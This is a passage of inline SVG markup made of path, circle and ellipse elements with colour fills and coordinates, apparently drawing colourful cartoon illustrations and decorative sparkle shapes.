13h102.5z" data-name="Layer 23"></path><g data-name="Layer 22"><path fill="#4452f2" d="M284.3 406.3c-4.7-22.1-2.4-28.1-18-48.9-5-6.7-27.8-5.3-38-3.4-12.1 2.7-25.3 19.1-25.3 19.1 10.4 56.3 18.9 50.5 22.2 69s-.1 26.3 20.9 26.3 35.7-9 28.8-27.1c11.6-3.7 13.8-14.1 9.4-35zM126.5 328.4c-4.4 48 12 45.7 60.4 26.9z"></path><path d="M366.5 370.5l-43.2 32c2.3 1.3 3.6 1.4 6.1 0s8.2-8 10.6-9.8 9-5.5 12.4-7.4a55 55 0 0011.1-8.4c2.7-3 3.7-4 3-6.4z"></path><path fill="#eb459f" d="M214.3 184.1a97.9 97.9 0 00-92.7 129.1l92.7 66.6a97.9 97.9 0 000-195.7z"></path><path fill="#0c1aad" d="M242.3 291.3c-9.1-4-9.4-3.9-15.1-11.7s-12-11-19-11l15.4 60.7c18.6 2.7 28.7-7.9 30.1-17.2s-2.3-16.8-11.4-20.8z"></path><path fill="#0c1aad" d="M234.7 300.6c-3.3-9.7-11-20.5-19.2-28.4a26.7 26.7 0 01-8.2-22.4l1.6-14.2a42.6 42.6 0 00-19.1-40.7 43.5 43.5 0 00-9.7-4.7 42.2 42.2 0 00-16.7-2 42.7 42.7 0 00-39.5 42.6 48.9 48.9 0 00.3 5.4l.7 5.8 3.2 24.8a72.5 72.5 0 01-3.5 33.3 58 58 0 00-3 13.1l75.5 62.1a58.3 58.3 0 0037.6-74.7z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M197.1 375.3a58.3 58.3 0 0037.6-74.7c-3.3-9.7-11-20.5-19.2-28.4"></path><path fill="#0c1aad" d="M213.4 305.8c5.2-11.4 7.9-10.4 19.6-9 9.3 1.1 21.9 18.2 9 29.5s-42.2 9.7-28.6-20.5z"></path><circle cx="176.4" cy="277.3" r="3"></circle><circle cx="194" cy="276" r="3"></circle><path fill="none" stroke="#fff" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.7" d="M194 276c16.1 10 10.9 19.6 24.9 35.8"></path><path fill="#ffc619" d="M180.3 305.5c8.4-7.7 10.9-9.8 14.3-10.1s9.2-.5 9.2-.5l1.6 36.7-22.8 2.6z"></path><path d="M223.5 290a3.3 3.3 0 00-3.4-4h-15.5a4.8 4.8 0 00-4.7 4l-5.2 32.9a3.4 3.4 0 003.5 4h15.5a5 5 0 004.7-4z"></path><path d="M222.5 286.9L224.3 288.6 219.8 289.7 222.5 286.9z"></path><path fill="#ffc619" d="M232.2 306.9c-2.2-2.9-4.5-6.7-9.8-6.7v6.7z"></path><path fill="#fff" d="M225.2 291.6a3.4 3.4 0 00-3.5-4h-15.5a5 5 0 00-4.7 4l-5.1 32.8a3.3 3.3 0 003.4 4h15.5a4.8 4.8 0 004.7-4z"></path><path fill="#ffc619" d="M221.9 304.8h6.3a4.9 4.9 0 014.9 4.8 4.9 4.9 0 01-4.9 5.1h-4.6a6.5 6.5 0 01-6.3-5c-.4-2.7 1.6-4.9 4.6-4.9z"></path><path fill="#ffc619" d="M220.8 314.4h4.4a4.9 4.9 0 014.8 5.8 4.8 4.8 0 01-4.8 4h-2.7a6.5 6.5 0 01-6.3-4.9c-.4-2.7 1.6-4.9 4.6-4.9z"></path><path fill="#ffc619" d="M194 325.9H209.2V331.94H194z"></path><path fill="#ffc619" d="M210.1 307.3h-9.5a2.3 2.3 0 01-2.2-1.4l-1.1-2.4-1.2-4.9-3.3 18.5h15.6a6.5 6.5 0 006.3-4.9c.4-2.7-1.6-4.9-4.6-4.9z"></path><path fill="#ffc619" d="M208.1 317.1h-15.3l1.9 9.9h11.7c2.9 0 5.8-2.2 6.2-4.9s-1.5-5-4.5-5z"></path><path fill="#66bcff" d="M320.7 362.9c-1.1-14.9-13.8-15.5-22.8-19.6s-20.1-13.6-31.3-19.7-20.2-4.4-37.1 3.4l24.2 36c12.1 4.2 15.2 10.1 22.3 17.9s15.5 9.8 23.6 7.2c5 6.3 6 7.8 11.9 4.8s15.8-9.3 17.7-17.7-2.4-9.4-8.5-12.3z"></path><path fill="#45aaf7" d="M313.1 388h-.1c-5.3-.6-7.8-3.2-11.6-7.2-.9-1.1-2-2.2-3.3-3.5-14.6-.9-21.3-7.7-25.1-12.7-1.7-2.4-4.7-4-7.6-5.7s-5.6-3.2-7.5-5.5a29.7 29.7 0 01-3.6-5.4c-1.5-2.6-2.6-4.5-4.5-4.7s-4.8 1.2-7.6 2.9a37.2 37.2 0 01-8 3.9.9.9 0 01-1.1-.6.8.8 0 01.6-1.1 34.9 34.9 0 007.5-3.7c3.1-1.9 5.8-3.5 8.8-3.2s4.2 2.8 5.8 5.6a57 57 0 003.4 5.2c1.7 2 4.4 3.5 7.1 5.1s6.2 3.5 8.2 6.1c3.8 5.2 10.1 11.3 24.1 12h.3l.3.2 3.5 3.7c3.6 3.9 5.8 6.2 10.5 6.7a.9.9 0 01.8 1 1.1 1.1 0 01-.9.9z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M250.4 340.3a83.6 83.6 0 00-1.5 18.6"></path><path fill="#8cd9ff" d="M266.6 410.7c-11.4 13.1-22.5 11.5-27.5 11.6s-4.9-3.5-5.7-6.4-1.5-7.6-1.5-7.6c-12.7 1-15.2-7.3-16.3-14.9-.8-5.8-3.2-8.4-4.7-13.6a97.8 97.8 0 01-77.4-42.5l12.2-11.4 31.3 14.7c19-10 29.6-15.3 40.1-17.6s21.6.4 26.6 14.6 6 18.8 10 25.4l4.4 6.4c4.8 7.3 10.1 17.7 3.5 30.9a70.8 70.8 0 005 10.4z"></path><path d="M158.1 362c-1.6-9.7 1.5-17.1 8.1-19.2l-18.5-9.3-11.7 7a96 96 0 0022.1 21.5z"></path><path fill="#66bcff" d="M242.8 416.8V415c-2.5-.1-2.9-1.9-4.5-10.3l-.2-1.1h-.7c-5.7-.6-9.8-3.3-11.3-14.5a37.7 37.7 0 00-4.9-15 34 34 0 01-1.6-3.4c-.4-1.1-.9-2.1-1.3-3.1a22.2 22.2 0 01-2.7-12c.1-4.4-.5-6.6-2.1-7.6s-4.8-.3-9.8 2.1l-.7.3c-7.8 3.8-23.5 11.3-39.9 15l2.3 1.4c15.8-3.9 30.8-11.1 38.4-14.8l.7-.3c3.9-1.9 6.8-3 8.1-2.2s1.3 2.5 1.2 6a25.8 25.8 0 002.8 12.9c.5 1 .9 1.9 1.3 2.9a31.4 31.4 0 001.8 3.7c1.6 2.9 3.5 6.5 4.6 14.4 1.4 10.2 5 14.9 12.2 15.9 1.6 8.2 2.2 11.3 6.3 11.5z"></path><path fill="#0c1aad" d="M180.3 303.5c-4.3-2.9-7.4-2.2-12 .5-5.7-3.8-12.4-3.6-19.1-.2-4.9 2.4-16.9 7.8-22.9 10.5a2.1 2.1 0 01-2.9-2.2l2.8-17.2c-13.5 13.1-15.8 37.3-9.7 49.5s26.6 9.1 32.7 4.7 8.2-6 15.8-5.6 13.6.4 22.5-8.4l5.6-2.8c.9-12.9-2.1-21.6-12.8-28.8z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M180.3 303.5c-4.3-2.9-7.4-2.2-12 .5-5.7-3.8-12.4-3.6-19.1-.2-4.9 2.4-16.9 7.8-22.9 10.5M169.3 304.5c12.5 7.7 16.1 17.7 17.6 24.4"></path><path fill="#fff" d="M255.6 258.2h-17.1a.8.8 0 00-.8.7l-2.2 13.9a.8.8 0 001.3.8l19.3-13.9a.8.8 0 00-.5-1.5z"></path><path fill="#fff" d="M294.9 262.9c10.4 0 20.3-8.4 21.9-18.7v-.5c1.7-10.2-5.6-18.7-16-18.7H243c-10.4 0-20.3 8.5-21.9 18.7v.5c-1.7 10.3 5.5 18.7 16 18.7z"></path><path fill="#8cd9ff" d="M240.3 251.8a9.5 9.5 0 009-7.7v-.2a6.4 6.4 0 00-6.6-7.7 9.4 9.4 0 00-9 7.7v.2a6.5 6.5 0 006.6 7.7z"></path><path fill="#66bcff" d="M267.7 251.8a9.6 9.6 0 009-7.7v-.2a6.5 6.5 0 00-6.6-7.7 9.4 9.4 0 00-9 7.7v.2a6.5 6.5 0 006.6 7.7z"></path><path fill="#8cd9ff" d="M295 251.8a9.4 9.4 0 009-7.7v-.2a6.5 6.5 0 00-6.6-7.7 9.4 9.4 0 00-9 7.7v.2a6.5 6.5 0 006.5 7.7z"></path><path fill="#29cc7a" d="M209.8 294.1a1.5 1.5 0 00-1.4-1.7H207a1.9 1.9 0 00-1.7 1.4l-.7 4.7a1.5 1.5 0 001.4 1.7h1.4a1.7 1.7 0 001.6-1.4z"></path><path fill="#ffc619" d="M184.6 270.7A16.5 16.5 0 01195 261c.2 0 .3-.2.2-.4-2.5-6.4-2-10.3-.2-15.4 0-.2-.1-.4-.3-.4-8.1-2.2-11.7-7.2-12.9-11.3a.4.4 0 00-.7 0c-2.7 7.3-7.3 8.2-11.4 8.3a.3.3 0 00-.3.5c4.8 7.1 2.7 13-.9 17.4a.3.3 0 00.2.6c8 .2 12.7 4.7 15.3 10.4a.3.3 0 00.6 0z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M208.1 317.1L200 317.1"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M222.4 314.7L226.9 314.7"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M181.4 233.3c2.7-8.3 1.8-13.6.6-16.5M194.1 245.2c5.5-.3 8.9-2.1 11.8-5.2M184.6 270.7a13 13 0 010 3.1M169.1 259.7c-4.7 4.4-12.5 4.9-18.1 4M169.7 241.8c-2.4-3.7-6.5-7.7-10-8.9M195.2 260.6a29.7 29.7 0 005.9 1.3"></path><path fill="#c40655" d="M178.7 247.8c3.5 8.8 6.5 7.9 7.5 5s1.7-6.6 4-6.6 2 3.8 0 9.7-6.1 7.8-10.7 3.6-5.2-9-5.7-12.3 2.9-4.5 4.9.6z"></path><path fill="none" stroke="#fff" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.7" d="M176.4 277.3c3.8 18.8-5 29.2-5.8 48.6"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M209.9 378.5a46.4 46.4 0 01-.8-34.9M206.1 360c-2.9-3.7-3.3-9.5-3.3-9.5"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M131.5 312L121.6 316.7"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.201" d="M234.5 296.5L240.2 297.4"></path><path fill="#d11583" d="M366.6 370.3a23.3 23.3 0 01-2.3 3.5c-4 5-13.5 11.4-18.7 14.2s-6.7 4-10.4 7.8-8.1 8.8-11.9 6.7-9.7-7.5-13.4-11.4a1.7 1.7 0 01-.4-1.7c1.4-5.8 6.7-14.5 15.2-19.9a1.9 1.9 0 011.8 0c5.7 3 9 3.5 13.3 2.8 6.4-.9 12.3-4.7 18.8-7.6s7.1.2 8 5.6z"></path><path fill="#fa80ba" d="M314.4 395.5a71.4 71.4 0 008.9 7c3.8 2.1 8.3-2.9 11.9-6.7s5.2-4.9 10.4-7.8 14.7-9.2 18.7-14.2a23.3 23.3 0 002.3-3.5c-.9-5.4-2.5-8-8-5.6s-8.4 4.3-12.6 5.9a7 7 0 00-4.3 5.9c-.1 1.5-.1 3.1-.1 4.9-7.7-.4-14.6 3-15.1 13 0 0-6.8-2.5-12.1 1.1z"></path><path fill="#ffe75c" d="M364.3 373.8a31.5 31.5 0 002.2-3.3 1.2 1.2 0 00.2-1 7.7 7.7 0 00-1.1-3c-.9 2.3-2.5 4.6-6.5 8.4-6.3 5.9-13.7 8.7-18.1 11a31 31 0 00-10.3 8.5 20.9 20.9 0 01-9 7.1l1.6 1c3.8 2.1 8.3-2.9 11.9-6.7s5.2-4.9 10.4-7.8 14.7-9.2 18.7-14.2z"></path><path fill="#d11583" d="M280.6 391.8c-7.3-.9-14.1 3.4-19.2 16.3-1.9-1.1-6.5-2-13.1.2s-8.6 5.3-9.5 7.8a6.1 6.1 0 000 4.2c.5 1.6 1.3 3.9 2.6 7.7 2 5.8 1.8 11.1 5.3 11.2l42.8-39.9s.5-6.3-8.9-7.5z"></path><path fill="#fa80ba" d="M280.6 391.8c-7.3-.9-14.1 3.4-19.2 16.3-.6 1.6-1.2 3.6-1.8 5.8-7.3.4-10.4 4-10.8 11.2 0 0-5.3-2.5-7.8 1.7.1.4.3.8.4 1.2 2 5.8 1.8 11.1 5.3 11.2l42.8-39.9s.5-6.3-8.9-7.5z"></path><path fill="#ffe75c" d="M289.1 397.3l-3.8-2.6c-6-.2-11 .3-15.6 7s-7.3 13.6-12.4 18.3c-7.3 6.9-13.6 10.2-14.2 14.6.7 2.7 1.5 4.5 3.6 4.6l42.8-39.9a6.5 6.5 0 00-.4-2z"></path><path fill="#d11583" d="M282.6 392.9l3.5.5a1.9 1.9 0 011.5.8c1.6 1.7 2.2 4.4 2.2 7l-12.4-.5c3.9-2.5 5-4.6 4.4-6.8a.7.7 0 01.8-1z"></path><path d="M246.9 439.2c12.1.7 17-3.7 21.5-9.7a36.5 36.5 0 016.7-6.9c6.6-5.1 11.7-10.1 14.7-17.4 3.8-9.2-9-10-15.8-2.8s-6.4 14.6-20.2 25.8c-9.4 7.7-10.5 10.8-6.9 11z"></path><ellipse cx="244.3" cy="417.4" fill="#fff" rx="1.6" ry="2.5" transform="rotate(-2.3 243.27 418.52)"></ellipse><path fill="#d11583" d="M366.9 368.6a14.7 14.7 0 00-1.9-3.8.2.2 0 00-.4-.1h-.2a.4.4 0 00-.2.4c1 2.8 1.6 6 .4 8.2 2.9-2.9 2.3-4.2 2.3-4.7z"></path><ellipse cx="317.8" cy="387" fill="#fff" rx="2.4" ry="3.6" transform="rotate(-18.1 318.119 387.354)"></ellipse></g><g data-name="Layer 21"><path fill="#4452f2" d="M290.1 1034.3a76.2 76.2 0 01-75-62.7c-6-33.7-12-60.4-20.5-82.8l140-51.3c6.6 22.6 16.7 52.1 29.3 102 12.1 48.1-24.2 94.8-73.8 94.8z"></path><path fill="#ffc619" d="M488.9 731.9c-4.7-6-6.7-5-10.2-5 0-5.9-2.8-6.4-4.1-1.5s-2.1 7.2 1.1 11.9 7.5 11.6 9.4 19.8a135.9 135.9 0 00-13.4 4.4l7.8 18.1c13-5.8 20.6-10.8 21.4-21.2s-7.2-20.4-12-26.5z"></path><path fill="#bde9ff" d="M350.2 707.9c10.4.1 18.2.5 29.2 4a18.2 18.2 0 0112.8 17.5v40h-4l-2.1-3.3v-31.5a16.2 16.2 0 00-12.3-15.8 125.3 125.3 0 00-19.9-3.1l-5-7.7z"></path><path d="M397 747a7.7 7.7 0 017.7 7.7V795a7.7 7.7 0 01-7.7 7.7 9.7 9.7 0 01-9.7-9.7v-36.3a9.7 9.7 0 019.7-9.7z" transform="rotate(-180 396 774.85)"></path><circle cx="271.2" cy="806.2" r="112.7" fill="#0c1aad"></circle><path fill="#039c78" d="M163.8 772a112.8 112.8 0 0049.5 130.9A80.9 80.9 0 00163.8 772z"></path><path fill="#fa94c4" d="M179.8 785.6c-7.4-2.8-8.5-4.1-10.3-7.6s-2.8-2.8-6.5-3.3c-.3 1-.6 1.9-.8 2.9 14.8 9.7 18.9 30.7 18.9 30.7l6.2-2.9s0-17.1-7.5-19.8z"></path><path fill="url(#linear-gradient)" d="M160.3 826.5a112.7 112.7 0 00218.8 11.9L260.7 789c-26.8-7.4-73.4-10.1-100.4 37.5z"></path><path d="M347.9 887.4c-23.2 0-65.4 4.5-90.1-23.4 17.9 20.2 26.3 35.4 26.9 54a112.3 112.3 0 0063.1-29.3z"></path><path fill="#fa80ba" d="M175.8 806.2c13.9-13.7 53.3-23.4 85.4 0l12.4-13.1c-1-21.6-5.8-22.9-12.4-16s-8 .7-14.5-11-14.7-13.9-20.6-1.9-4.6 12.4-9.5 10.7-14-6.1-21.6-7.2-11.2 9.7-10.5 17.9-1.4 7.9-5.3 6.3-4.9 3.4-3.4 14.3z"></path><path fill="none" stroke="#ff5cb4" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M234.4 790.9a113.1 113.1 0 00.7-30M192 772c5.8 12 6.8 18 6.8 18"></path><path fill="#2ad17d" d="M498.5 806.2c3.4-11 4.4-11.2-18.2-10.3-20.8.8-47.1 1.6-71.2 3.4-1.2-14.6-5.9-20.4-11.2-28 2-24.1-2.4-47.5-26.3-53.2s-59.1-6.9-82.5 1.8-16.8 42.2-14.3 64.9c0 0-20.7 6.7-28.5 27.2-6.5 17.3-3.4 37.9 15.1 55.7 29.7 28.6 59.6 31.7 87.9 28.4 22-2.7 33.1-19.5 36.2-35.8 40.3 15.1 65.9-7.6 74.8-18.5 10.5-12.6 25.4-16.7 34.4-20.6s12.8-7.4 3.8-15z"></path><path fill="#fa80ba" d="M302 681.8c-8.5-.5-17.5 5.1-11.5 21.2-9.2-.9-18.4 4.2-11.9 19.3l42.3-14.4c-3.7-18.6-10.4-25.5-18.9-26.1z"></path><rect width="37.4" height="66.89" x="262.7" y="741.4" rx="18.7"></rect><path fill="#fff" d="M355.6 709.2v6c-17.6-2.3-39.4-2.5-57.3 1.9a16.4 16.4 0 00-12.3 15.8v34.8h-21.8v-36.2a22 22 0 0118.3-21.7c32.4-5.7 54.9-3.5 73.1-.6z"></path><path fill="#bde9ff" d="M321.9 706.3c-10.4 0-18.2.5-29.2 3.9a18.4 18.4 0 00-12.8 17.5v40h4l2.1-3.2v-31.6a16.4 16.4 0 0112.3-15.8 125.4 125.4 0 0119.9-3l5-7.8z"></path><path fill="#039c78" d="M416.6 804.3c-24.4 1.2-51.4 2.8-61.2 3.2s-15.6.7-17.3 5.4 11.7 5.4 28.6 6.5 55 .9 77 0a485.7 485.7 0 0048.6-4.1c10.3-1.5.5-8.3.5-8.3s3.9-6.2-1.7-6.9-74.5 4.2-74.5 4.2z"></path><path fill="#fff" d="M391.1 813.6c1-14.6 6.6-15.4 9-11.5a26.5 26.5 0 013.4 7.8 3.8 3.8 0 013.6 0 4.5 4.5 0 012.3 3.7zM357.8 812.3c3.5-10.1 10.7-8.2 15.7-5.9a7.9 7.9 0 014.9 6.9zM346.7 811.9c2.7-10.4 5.5-9.7 6.4-5.7s1.2 6.1 1.2 6.1z"></path><path fill="#ffc619" d="M488.2 808.6c-14.6 2.3-41.1 4.6-75.1 5-.9-8.4 1.7-15.7 12-23.7 4.5-3.5 4.1-6.1 3.7-8.4-1.3-8.3-4.5-16.6-9.3-27.3-7.3-16.5-8.2-30.1 3.9-37.5s26-3.2 35.3 10.5 29.8 43.8 29.5 81.4z"></path><path fill="#ffae00" d="M447.4 734.6c9 8.5 12.4 7.5 14.4 7s.3-5.6-.8-7.9z"></path><path fill="#fff" d="M468.2 811c5.9-11 9-14.1 12.6-12.9s3.3 11.1 3.3 11.1zM447.9 812.5c4.8-16.4 10.7-14.3 12.7-11.6s4 10.4 4 10.4zM432.7 746.5c.7 4.1-.7 7.5-2.8 8s-4.1-1.6-5.3-4.8-.8-8.4 1.4-9.8 5.8 1.6 6.7 6.6z"></path>
    <path fill="#ed5f00" d="M447.4 734.6c-2.5-3.1-1.1-8.8 2-14s7.4-7 11-7 4.7 3.6.5 13.6c5.3-.9 7.7-.8 8.2 2.1s-3 5-10.9 6.3-9.4.7-10.8-1z"></path><path fill="#ffc619" d="M478.5 726.3c1.4-3.8 3-4.2 3.8-3.8s.6 2.2-.2 5.8-4.9 1.5-3.6-2z"></path><path fill="#ffc619" d="M481.4 726.9c3.1-2.6 4.7-2.3 5.2-1.5s-.5 2.2-2.9 5-5.1-1.1-2.3-3.5z"></path><path fill="#fff" d="M343 773.8c6.3.1 8.7-1 9.4-3.6s-3.5-8.1-12.1-8.7-14.4 3.4-15.7 8.6 1.5 4.1 7.4 3.8a82.1 82.1 0 0111-.1zM378.3 773.8c-5.2.1-7.1-1-7.7-3.6s2.8-8.1 9.8-8.7 11.8 3.4 12.8 8.6-1.3 4.1-6 3.8a53.7 53.7 0 00-8.9-.1z"></path><path fill="#bde9ff" d="M268.1 747h4.5a13.4 13.4 0 0113.4 13.4v28.9a13.4 13.4 0 01-13.4 13.4h-4.5a16.9 16.9 0 01-16.9-16.9v-21.9a16.9 16.9 0 0116.9-16.9z"></path><path fill="#fff" d="M267 747h12.9v42.8a12.9 12.9 0 01-12.9 12.9 15.8 15.8 0 01-15.8-15.8v-24.1A15.8 15.8 0 01267 747z"></path><path fill="#fa80ba" d="M362.2 739.8c-7.3 0-9.8-2-15-8.9s-11.5-17.5-28.8-16.9c-11.1-15.7-6.4-34.4 4.7-43.6s33.4-9.2 41.4 5.2c4.3 7.6 6 15.9 3.1 30.7 9.4-2.7 13 3.7 11.6 11.7s-8 21.8-17 21.8z"></path><rect width="7.5" height="21.43" x="261.2" y="764.2" fill="#ff78b9" rx="3.7"></rect><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="3.204" d="M382.1 765.7a8.1 8.1 0 015.2.9M338.4 765.8a17.4 17.4 0 017.4.8"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="6.866" d="M351.8 750.9c-11.3-.3-17.4-.2-27.5 1.1M392.3 752.4c-6.8-1.6-11-1.8-18.6-1.8"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M490.2 808.3c-22.1 3.7-77.3 7.9-145.6 3.4"></path><path fill="#039c78" d="M383 859.7c-6.2 8.5-14.9 16.4-31.1 19.7-24.2 4.8-36.8-18-38.6-36.9-.7-8.1-1-16.7 2.6-7.7 7 17 22.8 19.5 34.6 19.2s17.1.9 32.5 5.7z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M255.1 873.9c7.2 3.7 16.1 4 16.1 4M251.2 801.8a46.6 46.6 0 00-8 19.8"></path><ellipse cx="331" cy="831.8" fill="#03ab83" rx="5.7" ry="10.1" transform="rotate(-46.3 330.993 831.733)"></ellipse><path fill="none" stroke="#eb459f" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M359.4 738.7c6.8-7.5 10.1-18.3 11.2-25.7M347.2 728.6c5.8-23.6 5.8-48.7-10.2-57.5"></path><ellipse cx="257" cy="830.6" fill="#57f287" rx="4.2" ry="6.8" transform="rotate(-9.2 258.721 834.545)"></ellipse><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M333.2 811.7L338.3 804.9"></path><ellipse cx="428.3" cy="743.6" rx="1.9" ry="2.9" transform="rotate(-25.5 428.417 743.846)"></ellipse><path d="M450.6 731.2a.4.4 0 01-.4-.4 17.1 17.1 0 012.7-7.4c2.5-3.8 4.4-5.1 6.1-5.5s3.1 0 3.1 1.5a31.5 31.5 0 01-2.2 8.5 23.1 23.1 0 015.7-.5c1.1.1 1.1.6.3 1s-5 2-15.3 2.8z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M442.1 791.4c1.1 9.7-7 21.7-7 21.7"></path><path fill="#fff" d="M288.9 889.8l-.8-.6.8-.5c.9-.6 1.8-1.3 1.7-2.2s-1-1.5-1.9-1.9l-.9-.5a2.4 2.4 0 01.8-.6c.8-.7 1.6-1.4 1.5-2.3s-1.1-1.4-2.1-1.8l-.8-.4.6-.7c.8-.7 1.6-1.4 1.4-2.4s-1.2-1.3-2.1-1.7a2.4 2.4 0 01-.9-.3l.6-.7c.8-.7 1.5-1.5 1.3-2.4s-1.2-1.3-2.2-1.6a3 3 0 01-.8-.4l.6-.7c.7-.7 1.5-1.5 1.3-2.4s-1.3-1.2-2.2-1.6l-.9-.3.6-.7c.8-.7 1.5-1.5 1.3-2.4s-1.2-1.3-2.2-1.6l-.8-.4c.2-.2.4-.5.6-.6a3.1 3.1 0 001.4-2.4c-.2-.9-1.2-1.3-2.1-1.7l-.8-.4.7-.6c.7-.6 1.6-1.3 1.5-2.2s-1.1-1.4-2-1.9l-.7-.5.7-.5c.8-.5 1.7-1.1 1.7-2s-.8-1.5-1.6-2.1l-.7-.6.8-.3 1.1-.6a1.2 1.2 0 00.7-1.2 1.4 1.4 0 00-.8-1.2c-1.5-.7-1.5-2.3-1.2-8.6v-.3c.4-7-1.2-25.3-3.4-30.4a.9.9 0 00-1.2-.5 1 1 0 00-.5 1.2c1.9 4.4 3.7 22.2 3.3 29.6v.3c-.3 6-.4 8.5 1.4 9.9h-.1c-1 .4-2 .8-2.1 1.8s.7 1.6 1.6 2.2l.8.6-.8.6c-.9.6-1.8 1.2-1.8 2.1s1 1.5 2 2l.8.5-.7.6c-.8.7-1.7 1.4-1.5 2.3s1.1 1.4 2.1 1.8a3 3 0 01.8.4 1.7 1.7 0 01-.6.6c-.8.8-1.6 1.5-1.4 2.4s1.2 1.3 2.2 1.7l.9.3a4.6 4.6 0 01-.7.7c-.7.8-1.5 1.5-1.2 2.4s1.2 1.3 2.1 1.6l.9.4-.6.7c-.7.7-1.5 1.5-1.3 2.4s1.2 1.2 2.2 1.6l.9.3-.7.7c-.7.7-1.4 1.5-1.2 2.4s1.1 1.3 2.1 1.7l.8.3-.6.7c-.8.7-1.5 1.4-1.4 2.3s1.1 1.3 2.1 1.7l.8.4-.7.6c-.8.7-1.6 1.4-1.5 2.3s1 1.4 1.9 1.9l.8.4-.7.5c-.9.6-1.8 1.2-1.7 2.1s.8 1.5 1.7 2.1l.7.5-.8.5c-.9.4-1.8.9-1.9 1.8s.7 1.6 1.5 2.3l.6.6-.8.3c-.9.4-1.9.7-2.2 1.6s.5 1.7 1.1 2.4l.6.7-.8.2c-1 .2-2.1.4-2.4 1.2a2.6 2.6 0 00.7 2.6l.4.8h-.8c-1.1.1-2.1.1-2.6.9s-.1 1.7.3 2.6l.3.9h-.9c-1-.1-2-.2-2.6.4s-.4 1.7-.1 2.7a3.7 3.7 0 00.2.9l-.9-.2c-1-.2-2-.5-2.7.1s-.5 1.6-.4 2.6.1.7.1 1l-.8-.3c-1-.4-2-.8-2.8-.2a1.8 1.8 0 00-.5.7h5.9a5.7 5.7 0 00-.1-1.3c0-.3-.1-.7-.1-.9l1 .2c1 .2 2 .5 2.7-.2s.4-1.7.1-2.8a3.7 3.7 0 00-.2-.9h1c1.1.1 2.1.3 2.7-.5s.2-1.8-.2-2.8l-.4-.9h1c1.1-.1 2.1-.1 2.6-.9s-.1-1.8-.7-2.7l-.4-.9.9-.2c1-.2 2.1-.4 2.4-1.3s-.4-1.8-1.1-2.6l-.6-.7.9-.4c1-.3 2-.7 2.2-1.6s-.6-1.7-1.4-2.4l-.7-.6.8-.5c.9-.5 1.9-1 1.9-2s-.8-1.5-1.7-2.1z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M485.1 757.1L489.7 758.7"></path><path fill="#2ad17d" d="M203.2 874.9c-4.4-2.1-10-1-18.2 3.9a129.1 129.1 0 009.6 10c-1.3 9.5-4.4 14.8-7.4 21.2s.1 10.8 5.4 11.6 8.1-1.1 12.1-7.3a33.7 33.7 0 004.9-13.8 55 55 0 00.6-8.8c0-9.1-2.3-14.5-7-16.8z"></path><path fill="#2ad17d" d="M209.1 887.4c6.5-.8 10.9-1.4 13.9 2.7s3 8.7 1.3 17.1-5.8 17-12.2 16.4-8.8-4.3-6.5-13.6a188.3 188.3 0 003.5-22.6z"></path><path fill="#2ad17d" d="M223 897.1c4.8-.1 10.6-.4 12.2 4.8s.2 12-3 17.4-7.5 6.6-10.7 4.7-3.3-3.5-.8-10.5 3.2-9.9 2.3-16.4z"></path><path fill="#2ad17d" d="M253.8 909.9c-4.6-.3-13.3-.4-19.4-.7l-1.6 2.9a109.9 109.9 0 0027.5 6.2c2.5-4.8-.4-8-6.5-8.4z"></path><path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M205.2 913.4a47.1 47.1 0 005-26.1M225.4 897.8c-.1 8.7-1.6 15.7-5.8 21.5"></path><path fill="none" stroke="#039c78" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M312.9 806.9c1.7-6 7.6-12.2 10.3-14"></path><path fill="none" stroke="#039c78" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2.289" d="M319.2 772L314.7 769.4"></path></g><path fill="#91ffad" d="M240.6 690.9a30.2 30.2 0 01-13.5-20.8l-2.2-14.6a1.4 1.4 0 00-1.4-1.2 1.4 1.4 0 00-1.5 1.2l-2.2 14.6a29.7 29.7 0 01-13.4 20.8l-1.9 1.2a1.7 1.7 0 00-.7 1.3 1.5 1.5 0 00.7 1.2l1.9 1.2a29.7 29.7 0 0113.4 20.8l2.2 14.6a1.4 1.4 0 001.5 1.2 1.4 1.4 0 001.4-1.2l2.2-14.6a30.2 30.2 0 0113.5-20.8l1.8-1.2a1.3 1.3 0 00.7-1.2 1.5 1.5 0 00-.7-1.3z" data-name="Layer 20"></path><path fill="#66bcff" d="M1376.2 297.5a24.6 24.6 0 01-11.1-17.2l-1.8-12a1.3 1.3 0 00-1.2-1.1 1.3 1.3 0 00-1.2 1.1l-1.8 12a25 25 0 01-11.1 17.2l-1.6 1a1.3 1.3 0 00-.6 1 1.3 1.3 0 00.6 1l1.6 1a25.2 25.2 0 0111.1 17.3l1.8 12a1.2 1.2 0 001.2 1 1.2 1.2 0 001.2-1l1.8-12a24.8 24.8 0 0111.1-17.3l1.6-1a1.2 1.2 0 00.5-1 1.2 1.2 0 